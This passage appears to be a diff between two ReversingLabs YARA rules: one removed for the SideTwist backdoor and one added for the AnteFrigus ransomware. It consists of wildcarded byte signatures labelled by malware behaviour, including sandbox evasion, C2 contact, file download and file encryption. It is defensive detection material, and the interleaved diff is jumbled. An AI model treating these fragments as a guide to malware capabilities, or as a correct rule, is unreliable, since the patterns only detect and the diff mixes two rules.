8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 7D ?? 8D 45 ?? + 8B 75 ?? 8D 4D ?? 8B 55 ?? 83 FF ?? 0F 43 45 ?? 0F 43 CA 8D 04 70 89 45 ?? 8D 45 ?? + 0F 43 45 ?? 8D 04 70 3B C8 74 ?? 66 83 39 ?? 74 ?? 83 C1 ?? 3B C8 75 ?? 3B C8 74 ?? + 8D 51 ?? 3B D0 74 } condition: - uint16( 0 ) == 0x5A4D and ( $fetch_commands ) and ( $read_mailbox_folder ) and ( $add_move_to_inbox_rule ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $enum_resources_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) } -rule REVERSINGLABS_Win64_Backdoor_Sidetwist : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Antefrigus : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects SideTwist backdoor." + description = "Yara rule that detects AnteFrigus ransomware." author = "ReversingLabs" - id = "979b442e-8739-54a8-b486-39fc5673791e" - date = "2024-03-18" - modified = "2024-03-18" + id = "903ac92c-1a4a-5645-92db-d00b3bfd6ada" + date = "2021-03-05" + modified = "2021-03-05" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Win64.Backdoor.SideTwist.yara#L1-L154" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.AnteFrigus.yara#L1-L210" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "811fa73ede59493c71435743848a3fce3a1604ec4065ffcb0b43e9715dfa5c31" + logic_hash = "b84c01da0ee97a4eb8bf099c71094f994feb4c7185ad75b8b2ccda5eee283a92" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "SideTwist" + tc_detection_type = "Ransomware" + tc_detection_name = "AnteFrigus" tc_detection_factor = 5 importance = 25 strings: - $anti_sandbox_detect_environment = { - 55 57 56 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 89 4D ?? 48 89 55 ?? E8 ?? - ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 8D 55 ?? 48 8D 45 ?? 4C - 8D 05 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 85 C0 75 ?? 48 8B 45 ?? 48 85 - C0 74 ?? B8 ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 48 8D 45 ?? 48 - 89 C1 E8 ?? ?? ?? ?? 48 8B 55 ?? 48 8D 4D ?? 48 8D 45 ?? 49 89 C8 48 89 C1 E8 ?? ?? - ?? ?? 48 8D 45 ?? 48 8D 55 ?? 4C 8D 05 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 - ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C1 - E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF - D0 85 C0 0F 94 C0 84 C0 74 ?? 48 8D 05 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF - D0 BB ?? ?? ?? ?? BE ?? ?? ?? ?? EB + $find_files_p1 = { + 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 68 ?? ?? ?? ?? 8B D0 + 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 83 65 ?? ?? 8D 8D ?? ?? ?? ?? 83 7D ?? ?? 8D 45 + ?? 51 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 33 C0 8D 7D + ?? AB AB AB 33 C0 89 45 ?? 89 45 ?? 89 45 ?? C6 45 ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? + 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? + 68 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 59 8B D0 C6 45 ?? ?? 8B 4A ?? 8B 7A ?? 2B + CF 39 4E ?? 76 ?? 8B 46 ?? 2B 46 ?? 3B C7 72 ?? 83 7A ?? ?? 72 ?? 8B 12 57 52 51 8B + CE E8 ?? ?? ?? ?? EB ?? 56 8B CA E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 85 ?? + ?? ?? ?? ?? 8D 45 ?? FF B5 ?? ?? ?? ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? + ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? + 83 7D ?? ?? 8D 4D ?? 8B 45 ?? 0F 43 4D ?? 8D 04 41 8D 4D ?? 0F 43 4D ?? 51 50 51 8D + 4D ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 83 65 ?? ?? 8D 4D ?? 83 65 ?? ?? 50 E8 ?? + ?? ?? ?? C6 45 ?? ?? 8D 75 ?? 83 7D ?? ?? 8B 55 ?? 0F 43 75 ?? 85 D2 74 ?? 83 C9 ?? + 8D 42 ?? 3B C1 0F 42 C8 03 CE EB ?? 3B CE 74 ?? 49 80 39 ?? 75 ?? 2B CE EB ?? 83 C9 + ?? 83 F9 ?? 0F 84 ?? ?? ?? ?? 83 65 ?? ?? 8D 71 ?? C7 45 ?? ?? ?? ?? ?? C6 45 } - $collect_host_information = { - 55 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 4D ?? 48 89 55 ?? C7 45 ?? - ?? ?? ?? ?? 8B 45 ?? 89 C0 48 BA ?? ?? ?? ?? ?? ?? ?? ?? 48 39 C2 72 ?? 48 01 C0 48 - 89 C1 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 - 8B 45 ?? 49 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? - 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 8B 45 ?? 49 89 D0 48 89 C2 B9 ?? - ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 85 C0 0F 95 C0 84 C0 0F 84 ?? ?? ?? ?? 48 8D 45 - ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 4D ?? 48 8B 55 ?? 48 8D 45 ?? 49 89 C8 48 89 C1 E8 - ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? - 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 - 89 C2 48 8D 4D ?? 48 8D 45 ?? 49 89 C9 49 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? - 48 8D 55 ?? 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 55 ?? - 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? - 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 - ?? ?? ?? ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 84 C0 74 ?? 48 8B 45 ?? 48 8D 15 ?? - ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 89 - C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 - C1 E8 ?? ?? ?? ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D - 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 - 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? - 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 90 48 8B 45 ?? 48 81 C4 ?? ?? ?? ?? 5B 5D C3 + $find_files_p2 = { + 3B D6 0F 82 ?? ?? ?? ?? 2B D6 8D 45 ?? 83 C9 ?? 83 FA ?? 0F 42 CA 83 7D ?? ?? 51 0F + 43 45 ?? 8D 4D ?? 03 C6 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 8D 45 ?? 50 83 + 61 ?? ?? 83 61 ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 59 59 8D 8D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 51 51 8D 45 ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? + 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? + E8 ?? ?? ?? ?? BF ?? ?? ?? ?? 8B 70 ?? 03 30 3B F7 7D ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 3B F7 7D ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? + ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 8B 45 ?? 8D 4D ?? 51 3B 45 ?? 74 ?? 8B C8 E8 ?? ?? + ?? ?? 83 45 ?? ?? EB ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? + C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? + ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 7D ?? 8B 75 ?? 6A ?? 5B 3B F7 74 ?? 56 E8 ?? ?? ?? + ?? 03 F3 59 3B F7 75 ?? 8B 7D ?? 8B 75 ?? 85 F6 74 ?? 3B F7 74 ?? 8B CE E8 ?? ?? ?? + ?? 03 F3 3B F7 75 ?? 8B 75 ?? 8B 45 ?? 2B C6 99 F7 FB 6B C0 ?? 50 56 E8 ?? ?? ?? ?? + 59 59 8D 4D ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E8 } - $contact_c2_server = { - 55 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 4D ?? 48 89 55 ?? 48 8D 45 - ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 8D 85 ?? ?? ?? ?? 49 89 D0 48 8D 15 ?? ?? - ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 8D 50 ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? - ?? ?? 48 8B 55 ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 4C 8D 45 - ?? 48 8B 55 ?? 48 8D 8D ?? ?? ?? ?? 48 89 4C 24 ?? 48 8D 4D ?? 48 89 4C 24 ?? 4D 89 - C1 4C 8D 05 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? - 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 - 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1 - E8 ?? ?? ?? ?? 85 C0 0F 95 C0 84 C0 74 ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? - ?? 48 8D 95 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 4D ?? 48 8D 55 ?? - 48 8B 45 ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? BB - ?? ?? ?? ?? EB ?? BB ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 89 D8 - EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 - C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? - 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 89 - C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 - E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D C3 + $remote_connection_p1 = { + 55 8D AC 24 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 + 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 85 ?? ?? ?? ?? 53 56 57 50 8D 45 ?? 64 A3 + ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 BA ?? ?? ?? ?? 8D 8D ?? ?? ?? + ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 04 24 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? + ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D + 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? + ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 0F 43 + 8D ?? ?? ?? ?? 03 F9 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? 0F 43 B5 ?? ?? ?? ?? 33 C0 66 89 85 ?? ?? ?? ?? 33 DB 8B C7 89 9D } - $parse_c2_response = { - 55 53 48 83 EC ?? 48 8D 6C 24 ?? 48 89 4D ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 - 8D 55 ?? 48 8D 45 ?? 49 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 - ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 8B 45 ?? 41 B8 ?? ?? ?? ?? 48 89 C1 E8 ?? - ?? ?? ?? 48 89 45 ?? 48 8B 45 ?? 41 B8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 - ?? ?? ?? ?? 48 89 45 ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 C1 48 8B 55 ?? 48 - 8B 45 ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B - 55 ?? 48 01 C2 48 8B 45 ?? 49 89 D0 BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 - ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 - D8 48 89 C1 E8 ?? ?? ?? ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 - 89 C1 E8 ?? ?? ?? ?? 90 48 83 C4 ?? 5B 5D C3 + $remote_connection_p2 = { + 2B C6 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ?? C6 45 ?? ?? EB ?? 66 0F BE 06 8D + 8D ?? ?? ?? ?? 0F B7 C0 50 E8 ?? ?? ?? ?? 46 3B F7 75 ?? 53 53 53 53 68 ?? ?? ?? ?? + C6 45 ?? ?? 88 5D ?? FF 15 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 6A ?? 33 C0 50 + 6A ?? 50 50 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 89 45 ?? 85 + C0 74 ?? 6A ?? 68 ?? ?? ?? ?? 33 C9 51 51 51 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 + ?? ?? ?? ?? 8B F0 85 F6 74 ?? 33 C0 50 50 50 50 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 + ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? + 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 56 FF D7 FF 75 ?? FF D7 53 FF + D7 80 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 8D ?? ?? ?? ?? 33 CD E8 ?? ?? ?? ?? 81 + C5 ?? ?? ?? ?? C9 C3 8B 85 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 3D ?? ?? ?? ?? 73 ?? + 8D 95 ?? ?? ?? ?? C6 84 05 ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 + ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? + E9 ?? ?? ?? ?? E8 } - $download_file_from_c2_p1 = { - 55 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 4D ?? 48 89 55 ?? 4C 89 45 - ?? 4C 89 4D ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 5D ?? 48 8B 55 ?? - 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? - ?? 49 89 D0 48 89 C2 48 89 D9 E8 ?? ?? ?? ?? 85 C0 0F 95 C0 88 45 ?? 48 8D 85 ?? ?? - ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 0F B6 45 ?? 83 F0 ?? 84 C0 0F 84 ?? ?? ?? ?? 48 8D 85 - ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? - 48 89 C2 48 8D 85 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF - D0 89 45 ?? 83 7D ?? ?? 0F 95 C0 84 C0 74 ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 - 8D 55 ?? 48 8B 45 ?? 49 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 - ?? 48 89 C1 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 9D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? - 48 89 C1 E8 ?? ?? ?? ?? 48 89 C2 48 8B 45 ?? 49 89 D9 49 89 D0 BA ?? ?? ?? ?? 48 89 - C1 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 8D 45 ?? 48 + $encrypt_files_p1 = { + 66 39 03 0F 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 33 C0 8D 8D ?? + ?? ?? ?? 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? + ?? 8D 95 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 0F 43 95 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 5B C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 39 9D ?? ?? ?? ?? + 8B 85 ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 8D 04 41 8D 8D ?? ?? ?? ?? 0F 43 8D ?? ?? ?? + ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 + 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 BA ?? ?? ?? ?? 8D + 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 04 24 ?? ?? ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? + 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? + ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D } - $download_file_from_c2_p2 = { - 89 C1 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 8B 45 ?? 49 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 - E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 8D 45 ?? 48 8B 55 ?? 49 - 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 8D 55 ?? 4C 8D 05 - ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 4D ?? 48 8D 55 ?? 49 89 C8 48 - 89 C1 E8 ?? ?? ?? ?? 90 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 - ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? - ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? - EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 - C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 - 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 8B - 45 ?? 48 81 C4 ?? ?? ?? ?? 5B 5D C3 + $encrypt_files_p2 = { + 8D ?? ?? ?? ?? 83 C4 ?? 3B C8 74 ?? 33 C9 88 4D ?? 8D 8D ?? ?? ?? ?? FF 75 ?? 50 E8 + ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? + ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 56 E8 + ?? ?? ?? ?? 56 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 33 C0 59 89 85 ?? + ?? ?? ?? 89 8D ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 88 + 85 ?? ?? ?? ?? BF ?? ?? ?? ?? C6 45 ?? ?? 57 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 8D 4D + ?? E8 ?? ?? ?? ?? 33 C0 C6 45 ?? ?? 57 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 8D + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 59 99 F7 F9 8D 4D ?? + 52 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 59 99 F7 F9 8D 8D ?? ?? ?? ?? 52 E8 ?? ?? ?? + ?? 83 EB ?? 75 ?? 8D 95 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 57 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 51 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? + ?? ?? ?? 39 9D ?? ?? ?? ?? 74 ?? 83 BD ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? FF B5 ?? ?? + ?? ?? 0F 43 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 56 8D 4D ?? E8 ?? ?? ?? ?? 59 8D 8D ?? + ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 56 8D 45 ?? + C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 } - 